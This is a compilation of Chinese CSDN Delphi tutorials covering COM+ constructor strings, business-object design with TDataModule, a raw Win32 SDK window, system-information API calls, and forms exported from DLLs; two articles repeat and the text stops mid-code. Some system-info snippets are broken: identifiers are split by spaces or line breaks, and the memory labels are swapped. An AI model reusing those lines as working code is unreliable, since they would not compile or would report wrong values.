关键词：Delphi控件杂项

使用 COM+ 参数化对象结构编程技术
一、引言
COM+ 服務技術的一個核心理念就是系統本身提供完成許多面向企業應用開發者的通用基本模組（如線程

、物件資源池管理、事務服務管理、事件服務管理等），讓系統設計人員把精力集中在企業應用本身的業務

邏輯上。
COM+提供了許多新的服務和一致的管理運行環境，它還支援申明性編程模型(declarative programming

model)，也就是說，開發人員可以按盡可能通用的方式開發元件程式，把一些細節留到配置時刻再確定。例

如，在開發一個COM+元件，它支援事務處理特性，但是我們在開發元件的時候，並不確定它是否使用事務處

理特性，而把是否支援事務處理特性留待配置時刻再作決定。有的應用可能會需要事務處理特性，而有的應

用可能並不需要，我們可以通過COM+管理程式配置元件的屬性來決定元件是否支援事務處理特性。MTS安全模

型實際上是一個典型的申明性編程技術，它把元件的安全角色資訊留到配置時刻再給出確切的定義，而非編

程時刻。COM+繼承了MTS的安全模型。
利用COM+的服務和管理工具，開發一個COM+元件要比開發一個COM元件容易得多，因爲COM+元件實際上是

建立在COM+系統服務基礎上的應用程式，我們可以避免底層繁瑣的細節處理，如多線程的並發處理。通過

COM+系統服務，在獲得可靠性的同時，也使的元件和應用程式更趨於標準化，在更廣泛的範圍內體現元件或

者應用的多態性。
COM+ 的推出终于有机的统一了 COM/DCOM/MTS 的编程模式，使得我们不需要区分我们编写的是什么类型

的COM 对象，所编写的对象既是 COM 对象也是 COM+对象；在 COM+ 中物件環境和截取(intercept) 技術都

被合併到標準的 COM代理/存根中，所以可以通過標準得 CoCreateInstance 方法來創建物件，並且通過

CreateInstance方法創建的MTS 元件同樣可以在COM+ 正常運行和完全相容。

二、参数化 COM+ 对象结构
在COM+ 中引入了许多新的服务何功能，参数化对象结构就是其中一项功能。本功能是用来实现为COM+对

象创建提供一个字串参数，组件对象通过IObjectConstruct接口来查询管理员配置的字串参数。参数化对象

结构的一个典型用途就是可以应用到程序中作为 ADO 的连接字串参数。
IObjectConstruct 让的方法或对象通过参数来控制相关对象处理功能，我们必须使用接口对象来实现此

接口，当管理员将组件对象的对象结构配置参数设置有效后，COM+ 将调用 IObjectConstruct.Construct 通

过IObjectConstructString来获取参数化 COM+ 对象结构中的字串参数。
IObjectConstructString 接口用来存取建立者字符串。本对象是一个Automation COM 对象，但无须通

过接口对象来实现他，COM+ 支持在调用 IObjectConstruct.Construct 时暴露此对象。
如何为元件输入对象结构字串。
1、在组件管理器中选取相应的组件，右键弹出快捷菜单，然后点击属性
2、在组件属性对话框，点击激活属性页。
3、使能对象结构，输入建立者字符串（例如一个 ADO 连接字串）。

三、程序实现

实现COMPlusServer

1、Import Type library->COM+ Services Type Library->Create Unit
2、建立一个新的 ActiveX Library Project
3、创建一个新的 MTS Data Module
4、到 Type Library 中选取 Project->Uses->点击右键选择 Show All Type Library->选择COM+

Services Type Library
5、选择 COM 的接口对象->Implements->点击右键选择 Insert Interface ->IObjectConstruct
6、在接口中定义一个新的的方法-> GetConString
7、到组件对象实现单元中实现以下代码：
private
{ Private declarations }
objSonStr: IObjectConstructString;
StrDemo: WideString;

function TXXXServer.Construct(const pCtorObj: IDispatch): HResult;
begin
pCtorObj.QueryInterface(IID_IObjectConstructString, objSonStr);
StrDemo := objSonStr.Get_ConstructString;
end;

procedure TXXXServer.GetConString;
begin
if trim(StrDemo) = '' then
ShowMessage('没有字串')
else
ShowMessage(StrDemo);
end;

客户端程序
客户端程序是最一般化的 Delphi 代码：
procedure TForm1.Button1Click(Sender: TObject);
begin
DCOMConnection1.AppServer.GetConString;
end;


CSDN_文档中心_使用COM+参数化对象结构编程技术

使用COM+参数化对象结构编程技术
一、引言
COM+ 服務技術的一個核心理念就是系統本身提供完成許多面向企業應用開發者的通用基本模組（如線程

、物件資源池管理、事務服務管理、事件服務管理等），讓系統設計人員把精力集中在企業應用本身的業務

邏輯上。
COM+提供了許多新的服務和一致的管理運行環境，它還支援申明性編程模型(declarative programming

model)，也就是說，開發人員可以按盡可能通用的方式開發元件程式，把一些細節留到配置時刻再確定。例

如，在開發一個COM+元件，它支援事務處理特性，但是我們在開發元件的時候，並不確定它是否使用事務處

理特性，而把是否支援事務處理特性留待配置時刻再作決定。有的應用可能會需要事務處理特性，而有的應

用可能並不需要，我們可以通過COM+管理程式配置元件的屬性來決定元件是否支援事務處理特性。MTS安全模

型實際上是一個典型的申明性編程技術，它把元件的安全角色資訊留到配置時刻再給出確切的定義，而非編

程時刻。COM+繼承了MTS的安全模型。
利用COM+的服務和管理工具，開發一個COM+元件要比開發一個COM元件容易得多，因爲COM+元件實際上是

建立在COM+系統服務基礎上的應用程式，我們可以避免底層繁瑣的細節處理，如多線程的並發處理。通過

COM+系統服務，在獲得可靠性的同時，也使的元件和應用程式更趨於標準化，在更廣泛的範圍內體現元件或

者應用的多態性。
COM+ 的推出终于有机的统一了 COM/DCOM/MTS 的编程模式，使得我们不需要区分我们编写的是什么类型

的COM 对象，所编写的对象既是 COM 对象也是 COM+对象；在 COM+ 中物件環境和截取(intercept) 技術都

被合併到標準的 COM代理/存根中，所以可以通過標準得 CoCreateInstance 方法來創建物件，並且通過

CreateInstance方法創建的MTS 元件同樣可以在COM+ 正常運行和完全相容。

二、参数化 COM+ 对象结构
在COM+ 中引入了许多新的服务何功能，参数化对象结构就是其中一项功能。本功能是用来实现为COM+对

象创建提供一个字串参数，组件对象通过IObjectConstruct接口来查询管理员配置的字串参数。参数化对象

结构的一个典型用途就是可以应用到程序中作为 ADO 的连接字串参数。
IObjectConstruct 让的方法或对象通过参数来控制相关对象处理功能，我们必须使用接口对象来实现此

接口，当管理员将组件对象的对象结构配置参数设置有效后，COM+ 将调用 IObjectConstruct.Construct 通

过IObjectConstructString来获取参数化 COM+ 对象结构中的字串参数。
IObjectConstructString 接口用来存取建立者字符串。本对象是一个Automation COM 对象，但无须通

过接口对象来实现他，COM+ 支持在调用 IObjectConstruct.Construct 时暴露此对象。
如何为元件输入对象结构字串。
1、在组件管理器中选取相应的组件，右键弹出快捷菜单，然后点击属性
2、在组件属性对话框，点击激活属性页。
3、使能对象结构，输入建立者字符串（例如一个 ADO 连接字串）。

三、程序实现

实现COMPlusServer

1、Import Type library->COM+ Services Type Library->Create Unit
2、建立一个新的 ActiveX Library Project
3、创建一个新的 MTS Data Module
4、到 Type Library 中选取 Project->Uses->点击右键选择 Show All Type Library->选择COM+

Services Type Library
5、选择 COM 的接口对象->Implements->点击右键选择 Insert Interface ->IObjectConstruct
6、在接口中定义一个新的的方法-> GetConString
7、到组件对象实现单元中实现以下代码：
private
{ Private declarations }
objSonStr: IObjectConstructString;
StrDemo: WideString;

function TXXXServer.Construct(const pCtorObj: IDispatch): HResult;
begin
pCtorObj.QueryInterface(IID_IObjectConstructString, objSonStr);
StrDemo := objSonStr.Get_ConstructString;
end;

procedure TXXXServer.GetConString;
begin
if trim(StrDemo) = '' then
ShowMessage('没有字串')
else
ShowMessage(StrDemo);
end;

客户端程序
客户端程序是最一般化的 Delphi 代码：
procedure TForm1.Button1Click(Sender: TObject);
begin
DCOMConnection1.AppServer.GetConString;
end;


CSDN_文档中心_使用Delphi 發展商業物件

使用Delphi 發展商業物件

作者: 陳國生

(一) 前言

Delphi RAD的設計一直存在兩種正負面的評價，原因是在要兼顧視覺化設計的優點，又要符合物件導向設計的方法，往往有所衝突。本文主要探討Delphi 在現有框架上如何實現商業物件的設計，及應該注意一些的設計要領。

商業物件的目的就希望將系統元件化，並達到重複使用的目的，以降低軟體開發成本，在使用上我們又希望維持Delphi 這種視覺化的設計。由於受限於Delphi TDataSet 的資料模型，許多協力廠商，在資料的持續層上開發R-O maping 以便讓商業物件的開發更加容易，以下列出一些商業元件廠商所開發的相關產品﹕

BoldSoft co.
InstantObjects™
tiOPF

本文則是探討在現有架構下，如何達成商業物件的設計。

(二) DataModule 的設計

以物件的裝封，繼承，多型的特性而言，無疑的TDataModule 都符合這個要件，同時TDataModule本身可以結合併管理TDataSet物件，所以用TDataModule來發展商業物件，是一個很好的選擇，，，另外TDataModule 也可以包裝程成COM的物件，供其他語言使用。

但是我們常見到一些專案的開發，把全部TDataSet 擠在一個DataModule中，我覺得這不是一個很好的設計，理由如下﹕

  • 沒有效率，當產生一個Instance 那是一個笨重的物件。
  • 無法分割出所需要物件，以達成重複使用的目的。
  • 資料物件全部存在一個DataModule內，以致相互糾纏，不容易維護。

所以，每個DataModule應該只放一個物件所需的TDataSet，當產生Instance時，可以克服以上的問題，這是以物件的觀點來看，可是當我們用資料的觀點來看時，還存在一些問題，在關聯式資料庫底下不同Table之間資料要如何關聯？我們第一個反應是使用TField的物件，用LookUp欄位來存取，可是當我們用LookUp去存取資料，可能必須去存去另一個DataModule的TDataSet，這樣還是一樣會把DataModul糾纏在一起 (如下圖)。

針對持續層資料存取的問題，以下提出兩個解決方案﹕

  • 使用 fkCalculated，把關聯式的關聯資料當成一個計算欄位來存取，而不要使用 fkLookup，當然這無法在設計期間看到資料的結果。而另一方面使用fkCalculated必須在TDataSet 的 OnCalcFields 寫入控制的程式碼，OnCalcFields 事件在很多時候都會觸發（資料欄位改變，cursor 移動...），所以如果在OnCalcFields 中計算欄位值會拖慢程式回應時間，這是無法避免的一個缺點，而使用 fkLookup 也一樣無法避免這個問題。

Delphi 的TField 的物件，是連接到實體資料的功臣，也是讓我們可以輕易的連結資料的關鍵物件。TField 提供四種資料連結模式﹕

fkData Field represents a physical field in a database table ﹕根據資料表的欄位取代現有欄位
fkCalculated Field is calculated in an OnCalcFields event handler　﹕在執行期間由資料集的OnCalcFields Event 處理程序計算的數值
fkLookup Field is a lookup field.　﹕執行期間根據所指定的條件從特定的資料集取得數值
fkInternalCalc Field is calculated but values are stored in the dataset.﹕顯示執行期間，由用戶端資料集計算的數值。與fkCalculated Field 不同的是fkInternalCalc Field 欄位計算的數值是儲存在資料集中，並可以像用戶端本身的資料一樣來存取。
fkAggregate Field represents a maintained aggregate in a client dataset.﹕顯示一組記錄內資料的匯總值。
其中fkInternalCalc及fkAggregate 兩種模式，只能在TClienTDataSet使用。

  • 使用View 這個虛擬的Table 事先將資料連結起來，透過TClientDataSet進行連結，TClienTDataSet 具有特異功能，可以一次更新多個檔案，在資料寫回資料庫時，也可以透過TDataSetProvider的設定，決定是否要由TDataSet接手處理。如下圖所示﹕

以上兩種解決方案，很顯然第二個方案，在資料存取方面，具有很大的彈性。TClienTDataSet 在寫回資料時擁有自己的方法，因此可以針對不同TDataSet進行操作，也就是可以面對不同資料庫。同時利用資料虛擬層，去穩定實體層的變動性，虛擬層可以用資料庫的View 來設計，由於View 可以跨越不同Table ，同時變成標準介面與DataModule結合在一起 ，所以之前所說LoopUp 欄位問題也就迎刃而解。

使用ADO資料庫引擎去連結資料庫時，TClientDataSet 有一部份的資料搜尋功能無法正常使用，包括Locate ，LoopUp ...等方法 , 這是由於TClientDataSet 無法處理UniCode ，所以中文字碼，無法搜尋。

(三) 資料庫與物件的對應關係

在傳統的系統分析方法，我們是以資料流配合關聯式資料庫進行系統分析，當資料規格設計完成，系統就配合使用流程及資料規格進行設計，沒有以物件為中心的觀點進行分析，將很難把物件對應到實體資料。所以以下列出幾個必須改變的觀念。

  • 先建立物件，以物件觀點進行系統設計，找出系統中所要的物件。
  • 資料要配合物件來建構，所有資料是由物件控制，不是由流程控制或輸出入表單控制。
  • 資料表的設計，不要直接回應使用介面(UI)，應透過物件來回應。

( 註: 建立以物件為中心的設計系統觀點 )

以商業物件對應關聯式資料庫，不外乎三幾種關係﹕

  • 一對一關係

  • 一對多關係

  • 沒有對應關係

一個客戶物件，可能對應一個Table，一個異動單據可能對應一個Master-Detail Table，一個系統使用者有可能沒有對應的Table，所以不能用關聯式資料庫去反推對應到物件，而是必須將過分析，確實找出系統物件，以物件的觀點來建構資料庫。在使用需求的捕捉方面，使用UML(統一模塑語言) 是一個不錯的選擇，市場上也有許多支援的工具可供使用。

以物件為思考的系統，實體的資料主要是配合物件做資料存取，而非針對輸出入的資料去回應，因此再系統分析時，如何找出適當的物件，是一個很重要的課題。許多傳統的系統分析仍停留在以資料流為中心的想法，這種觀念無助於開發商業物件。

(四) 物件類別的設計

商業物件可以從TDataModule 繼承下來，先產生一個TMasterObject，將各物件共同的屬性及方法設計在這個物件，再從這個物件，繼承產生各類物件，如下圖所示﹕

介面設計時，我們仍可以在設計期間從各類別透過TField取得資料，享受Delphi 的視覺化的設計優點，而各類別之間的合作，只有在執行期間，再進行結合，譬如一個單據類別，可能需要傳送訊息給庫存類別，那麼可以在資料Post 回資料庫之前，傳送一個訊息給庫存物件，由庫存物件負責更新庫存，讓物件之間的責任清楚，系統會更有條理。

Class ( 類別 ) 是靜態的結構，當我們依照Class 建構一個物件時，產生一個Instance( 執行案例 )，物件與物件之間的合作關係，是在產生執行案例之後，不可以將Class 及Instance 兩者觀念搞混。

當我們從Delphi 的元件盤取產生一個元件，這個元件是一個Class ，只不過RAD會自動幫我們去建構物件，產生執行案例，以致讓使用者誤以為Class等於Instance。RAD隱藏了許多複雜的動作，讓我們易於使用，但也同時混淆了我們使用物件的觀念。

在面對不同的專案時，可能要進一步分析，究竟是個別獨立設計一個架構，或者是在同一架構中，改寫部分的物件功能，以達到重複使用的目的，這部分有賴於使用analysis pattern做進一步的分析。

(五) 結語

從理論到實作這一條路，存在有一些迷失，這個迷失其實也是上述所談的，有些物件觀念不夠清晰，碰上實作時，不知如何去應對問題。另一方面，在實作時，我們也才真正認識，到底是那些觀念不夠清楚，所以我強烈的建議各位找一個簡單的Case 去試試看，把所學的物件理論，去套用看看，問題馬上浮現出來。到目前為止 ，很少有人談論到Delphi 在商業物件實作技術上的問題，這不代表沒有問題，而有可能根本不知道問題在哪裡，而只是沉迷在RAD的快速設計，一方面享受，也一方面受害。

RAD並沒有害我們陷入困境，只是我們還停留在程序性的程式設計思考框框而不自知，這也是因為我們物件觀念不夠清晰，而RAD正考驗著我們的物件觀念是否夠堅強，用RAD但不要被拖著走，這也是我想說的一句話。


CSDN_文档中心_使用Delphi，SDK编写Windows简单程序

接触Delphi也已经有好长时间了，使用Delphi进行程序开发非常方便、快速，Delphi本身就提供了大量的组件（网上还有更多的组件）进行程序开发，这大大减轻了程序员的工作量，但是越方便越说明Delphi本身在背后为我们做的工作就越多，也许很多人没有考虑过这些，还在充分的享受着它带给我们的快捷与方便。我也是个Ｃ的爱好者，学习和使用C也有好长一段时间了，学了C/C++以后，要进行Windows程序设计，常规的有两种方法一种是利用SDK开发包，还有就是MFC，现在还有BCB，等等更多，当时很多人都把SDK作为一个基础，无论怎样都要或多或少的了解一些，然后在逐步走向MFC，尽管是这样，不难发现后一种方法是前一种方法的改进，有一种逐步提高的感觉，MFC是对API的一种封装而已，给程序开发带来了巨大的方便。

有一本书《Windows程序设计》可以说是一本经典之作，我想很多人都有这套书，书上第一个完整的例子就是Hello，world，一个简单的窗体，有着Windows窗体的一般特征，但是写了很多代码。但是学完了Pascal语法，使用Delphi进行Windows程序设计好像是一下子就跳到了使用VCL，对于什么消息循环，消息处理，丝毫没有涉及到，很多参考书也没有提到这些，对于我的感觉好像就是C/C++天生就是用来开发Windows程序的，无缝连接，Pascal的语法是有一点怪怪的，好像不适合（一开始给我的感觉就是不可以）配合SDK进行Windows程序开发，后来查了一点资料，逐渐摸索，找到了一点眉目，希望能够和大家共同进步。这个例子可以说是Charles例子的一个克隆，只是语法换成了Pascal而已，在这里也同样有消息循环，消息处理，等等。下面给出这个程序的具体代码还有详细的注释，为了阅读的关系我分成了几个处理函数，都有特殊的注明。

具体开始的时候也是new一个Application然后关掉默认给我们加的窗口还有代码窗口当显示提示是否要保存的时候选择否，然后在project中选择view source选项，跳到代码窗口，修改其中代码。

program Project2;

uses

Windows,

Messages;

var

Msg:TMsg;

wc:TWndClass; //RegisterClass()所需要的参数

hWnd:THandle; //主窗体的句柄

const

ClassName='MainWClass';

OutText='Hello ';

Function MainWndProc(Handle:THandle;MsgID:UINT;wParam,lParam:Integer):LRESULT;stdcall;

var

pDC:HDC;

lpRect:TRECT;

begin

Result:=1;

case MsgID of

WM_CLOSE:

begin //关闭窗体所产生的消息

if MessageBox(Handle,'要关闭这个程序吗？','程序示例',MB_ICONQUESTION or MB_YESNO)=IDYES then

DestroyWindow(hWnd)

else

Result:=0;

Exit;

end;

WM_DESTROY: //DestroyWindow()所产生的消息

begin

PostQuitMessage(0);

end;

WM_PAINT:

begin

pDC:=GetDC(hWnd);

GetClientRect(hWnd,lpRect);

DrawText(pDC,OutText,5,lpRect,DT_SINGLELINE or DT_CENTER or DT_VCENTER);

//TextOut(pDC,10,10,OutText,5);

ReleaseDC(hWnd,pDC);

end;

end;

//剩下的消息交给Windows预设的处理函数就可以了，比如画窗体的WM_NCPAINT消息等等

Result:=DefWindowProc(Handle,MsgID,wParam,lParam);

end;

//初始化，注册窗口类

Function InitApplication(hInstance:THANDLE):Boolean;

begin

//首先使用RegisterClass()注册窗体类，这可不是Delphi数据类型中的类哦

wc.style:=CS_HREDRAW OR CS_VREDRAW;

wc.lpfnWndProc:=@MainWndProc; //消息处理函数的地址

wc.hInstance:=hInstance; //程序的句柄，同时也是基地址

wc.hIcon:=LoadIcon(0,PChar(IDI_APPLICATION));

wc.hCursor:=LoadCursor(0,IDC_ARROW); //图标

wc.hbrBackground:=GetStockObject(WHITE_BRUSH); //背景画刷

wc.lpszClassName:=ClassName; //前面定义的常量

Result:=Boolean(RegisterClass(wc));//注册这个窗口类

end;

//InitInstance 生成窗口

Function InitInstance(hInstance:THANDLE;nCmdShow:Integer):Boolean;

begin

hWnd:=CreateWindowEx(0,

ClassName, //刚才注册的类的名字

'示例', //窗体的标题

WS_OVERLAPPEDWINDOW, //窗体的类型，有标题栏、系统菜单、最大化最小化菜单，以及拉伸边框

Integer(CW_USEDEFAULT),

Integer(CW_USEDEFAULT),

Integer(CW_USEDEFAULT),

Integer(CW_USEDEFAULT),

0,

0,

hInstance,

nil

);

if hWnd=0 then

begin

Result:=false;

Exit;

end;

ShowWindow(hWnd,CmdShow);

UpdateWindow(hWnd);

Result:=true;

end;

//主程序开始

begin

if Not InitApplication(hInstance) then Halt(0); //初始化注册窗口类

if Not InitInstance(hInstance,CmdShow) then Halt(0); //产生窗口

while GetMessage(Msg,0,0,0) do

begin

TranslateMessage(Msg);

DispatchMessage(Msg); //该API将消息分派到相应的窗体消息处理函数

end;

ExitCode:=Msg.wParam;

end.

上面给出了详细的代码，其中借鉴了有关文章，这就是最基本的框架，如果使用C进行过Windows程序开发的话，会对上面的代码非常熟悉，不错确实是大同小异，只是很多变量的定义和写法有点差别，还有就是函数调用时候有一些注意点。

我比较喜欢和大家一起讨论，喜欢追究个所以然，希望各位能够和我一起讨论，一起进步。


CSDN_文档中心_使用Delphi获取系列信息

使用Delphi获取系列信息
    Delphi以其优良的可视化编程，灵活的Windows API接口，丰富的底层操作越来越受到编程爱好者的青睐。
    在Delphi中，通过调用Windows API，可以很方便地获取系统信息，这有助于我们编写出更好的Windows应用程序。以下程序在Delphi3.0 For Windows 9x下编译通过。
    一、 用GetDriveType函数获取磁盘信息
    Lbl_DriveType:Tlabel;
    DriveType:WORD; //定义驱动器类型变量
    DriveType:=GetDriveType(RootPathName); //获得RootPathName所对应的磁盘驱动器信息
    case DriveType of
    DRIVE_REMOVABLE:Lbl_DriveType.Caption:= '软盘驱动器';
    DRIVE_FIXED : Lbl_DriveType.Caption:= '硬盘驱动器';
    DRIVE_REMOTE: Lbl_DriveType.Caption:= '网络驱动器';
    DRIVE_CDROM: Lbl_DriveType.Caption:= '光盘驱动器';
    DRIVE_RAMDISK: Lbl_DriveType.Caption:= '内存虚拟盘';
    end; //将该磁盘信息显示在Lbl_DriveType中
    二、 用GlobalMemoryStatus函数获取内存使用信息
    MemStatus: TMEMORYSTATUS; //定义内存结构变量
    Lbl_Memory:Tlabel;
    MemStatus.dwLength := size of(TMEMORYSTATU
S);
    GlobalMemoryStatus(MemStatus); //返回内存使用信息
     Lbl_Memory.Caption := format('共有内存: %d KB 可用内存: %dKB',[MemStatus.dwAvailPhys div 1024,MemStatus.dwTotalPhys div 1024]);
    //将内存信息显示在Lbl_Memory中
    三、 用GetSystemInfo函数获取CPU信息
    SysInfo: TSYSTEMINFO;
    Lbl_CPUName:Tlabel;
    GetSystemInfo(SysInfo);//获得CPU信息
    case SysInfo.dwProcessorType of
    PROCESSOR_INTEL_386:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumber Of Processors,'Intel80386']);
    PROCESSOR_INTEL_486:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumber Of Processors, 'Intel 80486']);
    PROCESSOR_INTEL_PENTIUM:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNum
berOfProcessors, 'Intel Pentium']);
    PROCESSOR_MIPS_R4000:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumberOfProcessors, 'MIPS R4000']);
    PROCESSOR_ALPHA_21064:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumberOfProcessors, 'ALPHA 21064']);
    end;//把CPU信息显示在Lbl_CPUName中。


CSDN_文档中心_使用Delphi获取系统信息

l 使用Delphi获取系列信息

    Delphi以其优良的可视化编程，灵活的Windows API接口，丰富的底层操作越来越受到编程爱好者的青睐。

    在Delphi中，通过调用Windows API，可以很方便地获取系统信息，这有助于我们编写出更好的Windows应用程序。以下程序在Delphi3.0 For Windows 9x下编译通过。

    一、 用GetDriveType函数获取磁盘信息

    Lbl_DriveType:Tlabel;

    DriveType:WORD; //定义驱动器类型变量

    DriveType:=GetDriveType(RootPathName); //获得RootPathName所对应的磁盘驱动器信息

    case DriveType of

    DRIVE_REMOVABLE:Lbl_DriveType.Caption:= '软盘驱动器';

    DRIVE_FIXED : Lbl_DriveType.Caption:= '硬盘驱动器';

    DRIVE_REMOTE: Lbl_DriveType.Caption:= '网络驱动器';

    DRIVE_CDROM: Lbl_DriveType.Caption:= '光盘驱动器';

    DRIVE_RAMDISK: Lbl_DriveType.Caption:= '内存虚拟盘';

    end; //将该磁盘信息显示在Lbl_DriveType中

    二、 用GlobalMemoryStatus函数获取内存使用信息

    MemStatus: TMEMORYSTATUS; //定义内存结构变量

    Lbl_Memory:Tlabel;

    MemStatus.dwLength := size of(TMEMORYSTATU

S);

    GlobalMemoryStatus(MemStatus); //返回内存使用信息

     Lbl_Memory.Caption := format('共有内存: %d KB 可用内存: %dKB',[MemStatus.dwAvailPhys div 1024,MemStatus.dwTotalPhys div 1024]);

    //将内存信息显示在Lbl_Memory中

    三、 用GetSystemInfo函数获取CPU信息

    SysInfo: TSYSTEMINFO;

    Lbl_CPUName:Tlabel;

    GetSystemInfo(SysInfo);//获得CPU信息

    case SysInfo.dwProcessorType of

    PROCESSOR_INTEL_386:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumber Of Processors,'Intel80386']);

    PROCESSOR_INTEL_486:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumber Of Processors, 'Intel 80486']);

    PROCESSOR_INTEL_PENTIUM:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNum

berOfProcessors, 'Intel Pentium']);

    PROCESSOR_MIPS_R4000:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumberOfProcessors, 'MIPS R4000']);

    PROCESSOR_ALPHA_21064:Lbl_CPUName.Caption:=format('%d%s',[SysInfo.dwNumberOfProcessors, 'ALPHA 21064']);

    end;//把CPU信息显示在Lbl_CPUName中。


CSDN_文档中心_使用DLL文件中封装的窗口

使用DLL文件中封装的窗口

徐长友

文章摘要：
编写软件时常常使用到DLL文件，本文就使用DLL文件中封装的窗口来说说Delphi中在DLL如何封装窗口，如何调用DLL中封装的窗口，及MDI-Child在DLL中载入并使用

一、在DLL中封装窗口
打开Delphi新建一个DLL工程，保存为usedll，生成代码

library usedll;

{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }

uses
SysUtils,
Classes;

{$R *.res}

begin
end.

新建一个窗体，添加一个Label和Button，设置如下：

object Form1: TForm1
Left = 192
Top = 133
Width = 334
Height = 221
Caption = 'DLL'#20013#20351#29992#31383#20307
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Label1: TLabel
Left = 104
Top = 80
Width = 80
Height = 13
Caption = 'DLL'#20013#20351#29992#31383#20307
end
object Button1: TButton
Left = 120
Top = 152
Width = 75
Height = 25
Caption = #30830#23450
TabOrder = 0
OnClick = Button1Click
end
end

添加一过程：procedure LoadForm; export;
procedure LoadForm;
begin
Form1 := TForm1.Create(Application);
try
Form1.ShowModal;
finally
Form1.Free;
end;
end;

全部完整的代码：

library usedll;

uses
SysUtils,
Classes,
Form_Unit in 'Form_Unit.pas' {Form1};

{$R *.res}
exports
LoadForm index 1;
begin

end.

unit Form_Unit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
ApplicationName: String;
procedure LoadForm(Handle: THandle; AppName: ShortString); export;

implementation

{$R *.dfm}
procedure LoadForm(Handle: THandle; AppName: ShortString);
begin
Application.Handle := Handle;
ApplicationName := AppName;
Form1 := TForm1.Create(Application);
try
Form1.ShowModal;
finally
Form1.Free;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
self.close;
end;

end.

编译后生成usedll.dll文件，至此DLL文件就完成了

二、调用DLL中封装的窗口

新建一个工程，添加一个Button，窗体布局如下：

object Form1: TForm1
Left = 192
Top = 133
Width = 336
Height = 222
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object Button1: TButton
Left = 128
Top = 88
Width = 75
Height = 25
Caption = #25171#24320#31383#20307
TabOrder = 0
OnClick = Button1Click
end
end

完整的代码如下：

unit Use_Unit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
procedure LoadForm; external 'usedll.dll' index 1;
implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
LoadForm;
end;

end.

三、MDI-Child在DLL中载入并使用
如果是MDI-Child又如何在DLL中载入并使用呢，下面就这个问题说说使用DLL文件中封装的窗口。
新建一个DLL工程，保存为mdidll，再新建一个窗体，FormStyle设为fsMDIChild，如下：
object Form1: TForm1
Left = 192
Top = 133
Width = 344
Height = 234
Caption = 'MDI'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
FormStyle = fsMDIChild
OldCreateOrder = False
Position = poDefault
Visible = True
OnClose = FormClose
PixelsPerInch = 96
TextHeight = 13
end

代码如下：

unit mdi_Unit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs;

type
TForm1 = class(TForm)
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
MyParentForm: TForm;
MyParentApplication: TApplication;
end;

var
DllApplication: TApplication;
implementation

{$R *.dfm}

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Action:=caFree;
end;

end.

library mdidll;

uses
Windows,
Messages,
SysUtils,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
mdi_Unit in 'mdi_Unit.pas' {Form1};

procedure LoadChild(ParentApplication: TApplication; ParentForm: TForm); export; stdcall;
var
Form1: TForm1;
DllProc: Pointer;

begin
Application:=ParentApplication;
Form1:=TForm1.Create(ParentForm);
Form1.MyParentForm:=ParentForm;
Form1.MyParentApplication:=ParentApplication;
Form1.Show;
end;

procedure DLLUnloadProc(Reason: Integer); register;
begin
if Reason = DLL_PROCESS_DETACH then Application:=DllApplication;
end;

{$R *.res}
exports
LoadChild;
begin
DllApplication:=Application;
DLLProc := @DLLUnloadProc;
end.

编译后生成mdidll.dll文件。
使用DLL中的MDI-Child窗口如下：

新建一个工程，主窗口设置如下FormStyle设为fsMDIForm：
object Form1: TForm1
Left = 192
Top = 133
Width = 544
Height = 375
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
FormStyle = fsMDIForm
Menu = MainMenu1
OldCreateOrder = False
PixelsPerInch = 96
TextHeight = 13
object MainMenu1: TMainMenu
Left = 72
Top = 136
object N1: TMenuItem
Caption = #26032#24314'(&N)'
OnClick = N1Click
end
end
end
代码：

unit usemdi_Unit;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus;

type
TForm1 = class(TForm)
MainMenu1: TMainMenu;
N1: TMenuItem;
procedure N1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
T_ProvaChild = procedure (ParentApplication: TApplication; ParentForm: TForm); stdcall;
var
Form1: TForm1;

implementation

{$R *.dfm}

